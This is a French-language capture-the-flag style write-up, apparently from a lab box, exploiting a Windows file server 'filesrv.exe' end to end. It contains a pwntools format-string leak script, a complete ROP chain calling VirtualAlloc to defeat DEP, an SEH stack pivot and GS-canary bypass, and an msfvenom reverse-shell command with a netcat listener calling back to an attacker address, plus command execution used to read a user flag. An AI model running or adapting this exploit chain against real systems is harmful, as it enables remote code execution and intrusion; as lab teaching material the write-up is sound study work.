Étape 1 — Fuite de l'adresse de base du binaire (contournement ASLR)
On automatise la lecture du second pointeur fuité via la format string. En lui soustrayant l'offset fixe 0x14120, on recalcule l'adresse de base du binaire à chaque run :
#!/usr/bin/python3
from pwn import remote, log
cible = remote("10.129.2.76", 2121)
cible.sendline(b"TEST %p.%p")
cible.recvuntil(b".")
raw = cible.recvline().strip()
binary_base = int(raw, 16) - 0x14120
log.info(f"Adresse de base : {hex(binary_base)}")
cible.interactive()
python3 exploit.py
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] Adresse de base : 0x3f290000
[*] Switching to interactive mode
L'adresse de base est maintenant connue dynamiquement. Tous les gadgets ROP seront calculés comme binary_base + offset_statique.
Étape 2 — Contrôle SEH et stack pivot
On confirme le contrôle de la structure SEH (handler à 0x43434343, nSEH à 0x42424242), puis on recherche un gadget stack pivot pour déplacer esp vers notre payload :
ropper --file filesrv.exe --search "add esp, 0x???; ret;"
[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;
Le gadget add esp, 0xe10; ret; (offset 0x11396) est choisi. Après l'avoir exécuté, esp atterrit dans notre payload. On mesure la distance exacte entre le esp post-pivot et le début du buffer :
? (esp - debut_buffer) / 4
Evaluate expression: 30 = 0000001e
L'esp est 30 DWORDs après le début du payload. On insère donc 30 gadgets ret; en tête de payload pour absorber ce décalage et aligner le flux d'exécution sur la chaîne ROP principale. La structure complète du payload devient :
[30 × ret] — alignement post-pivot[chaîne ROP VirtualAlloc] — bypass DEP[shellcode] — reverse shell[rembourrage A jusqu'à l'offset 1032][nSEH : 4 octets de bourrage][SEH handler : adresse du gadget stack pivot][rembourrage D jusqu'à 2400 octets] — forcer un Access Violation dans snprintf avant le check GS canary
Étape 3 — Construction de la chaîne ROP
On construit la chaîne ROP gadget par gadget. Tous les offsets sont statiques par rapport à binary_base. Les valeurs 0x40 et 0x1000 sont calculées par soustraction pour éviter les octets nuls :
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret; (alignement x30)
# Registre ECX = 0x40 (PAGE_EXECUTE_READWRITE)
rop += p32(binary_base + 0x3711e) # pop eax; ret;
rop += p32(0x8314c2ab) # valeur intermediaire (0x8314c26b + 0x40)
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # (padding pour le call esi interne)
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
# Registre EDX = 0x1000 (MEM_COMMIT)
rop += p32(binary_base + 0x3711e) # pop eax; ret;
rop += p32(0x8314d26b) # valeur intermediaire (0x8314c26b + 0x1000)
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding pour le pop esi
# Registre EBX = 0x1 (dwSize)
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x3ac3c) # inc ebx; ret;
rop += p32(binary_base + 0x3ac3c) # inc ebx; ret;
# Registre EBP = pop ebp; ret; (nettoyage post-retour VirtualAlloc)
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # adresse du gadget lui-meme
# Registre ESI = jmp eax (saut vers VirtualAlloc)
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# Registre EDI = ret; (alignement apres pushad)
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
# Registre EAX = adresse de VirtualAlloc (via TlsAlloc + offset)
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffced0) # VirtualAlloc - TlsAlloc
rop += p32(binary_base + 0x3711e) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # entree IAT TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
# Declenchement : pushad + saut vers le shellcode
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
On vérifie dans WinDbg que les arguments sont correctement positionnés avant l'appel :
bp kernel32!VirtualAllocStub
g
dds esp + 4 L4
0194f700 0194f714 ; lpAddress = esp
0194f704 00000001 ; dwSize = 1
0194f708 00001000 ; flAllocationType = MEM_COMMIT
0194f70c 00000040 ; flProtect = PAGE_EXECUTE_READWRITE
Après retour de VirtualAlloc, la protection du stack change :
!vprot esp
Protect: 00000040 PAGE_EXECUTE_READWRITE
Le stack est maintenant exécutable. Le gadget jmp esp en fin de chaîne transfère le contrôle directement au shellcode.
Étape 4 — Génération du shellcode et obtention du shell
On génère un shellcode de reverse shell Windows 32 bits avec msfvenom. Les bad chars identifiés lors du fuzzing (\x00, \x01, \x09, \x0a, \x0b, \x0c, \x0d, \x1a, \x20, \x25) sont exclus — deux octets supplémentaires (\x01 et \x1a) ont été identifiés comme problématiques lors des tests. L'encodeur call4_dword_xor est utilisé (déterministe, contrairement à shikata_ga_nai qui échoue aléatoirement avec autant de bad chars) :
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.59 LPORT=443 \
-b '\x00\x01\x09\x0a\x0b\x0c\x0d\x1a\x20\x25' \
-f python -v shellcode \
-e x86/call4_dword_xor -i 1
Payload size: 348 bytes
On intègre le shellcode dans l'exploit automatisé. Un point critique est la taille du payload : le binaire est compilé avec la protection GS (stack cookie). Si le payload est trop court (≤ 2000 octets), l'overflow corrompt le canary mais snprintf ne déborde pas au-delà de la page mémoire — la fonction retourne, le check GS détecte la corruption et __fastfail tue le processus sans passer par SEH. Si le payload est trop long (≥ 4000 octets), le serveur le rejette avec ERROR. Le sweet spot est 2400 octets : assez long pour provoquer un Access Violation dans snprintf (dépassement de page) avant le check GS, ce qui dispatch l'exception via SEH vers notre handler.
Le port 443 est choisi pour le reverse shell car le firewall Windows bloque les ports non-standard en sortie (le port 4444 a été testé sans succès).
sudo nc -lvnp 443
Listening on 0.0.0.0 443
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0
[*] Offset force: 0xffffced0
[*] Shellcode reverse_tcp: 348 octets
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] [T1] base=0x3f930000 pivot=0xe10 sled=30x4=120o SC@248 (348o) total=2400o
[+] [T1] Crash! (pas de reponse)
Le listener reçoit la connexion :
connect to [10.10.16.59] from (UNKNOWN) [10.129.2.76] 50310
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
C:\shared>
Le shell est éphémère : le service manager Windows redémarre filesrv.exe après le crash et tue tous les processus enfants, y compris le reverse shell. La fenêtre d'interaction est de quelques secondes. Pour contourner ce problème, on utilise le shellcode windows/exec pour écrire la sortie des commandes dans un fichier accessible via le FTP :
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
--cmd "cmd /c whoami > C:\shared\out.txt"
# Puis récupération via FTP :
ftp 10.129.2.76 # anonymous
get out.txt
cat out.txt
rainbow2\dev
On récupère le flag utilisateur de la même manière :
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
--cmd "cmd /c type C:\Users\dev\Desktop\user.txt > C:\shared\out.txt"
L'exploitation est concluante. Le contournement de l'ASLR (format string), du DEP (ROP + VirtualAlloc), du GS (payload 2400 octets → Access Violation avant check canary) et du mécanisme SEH a fonctionné de bout en bout.
Voici la liste des fichiers créés lors de cette démonstration